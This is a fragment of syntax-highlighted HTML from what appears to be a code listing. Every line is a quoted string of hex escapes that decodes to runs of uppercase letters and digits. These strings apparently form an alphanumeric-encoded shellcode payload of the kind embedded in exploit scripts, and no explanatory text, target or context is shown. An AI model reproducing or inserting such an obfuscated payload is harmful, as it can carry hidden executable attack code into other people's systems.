<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>37&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>51&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>48&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>43&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>51&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>51&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>48&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>48&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>51&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>48&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>57&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>59&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>33&quot;</span>
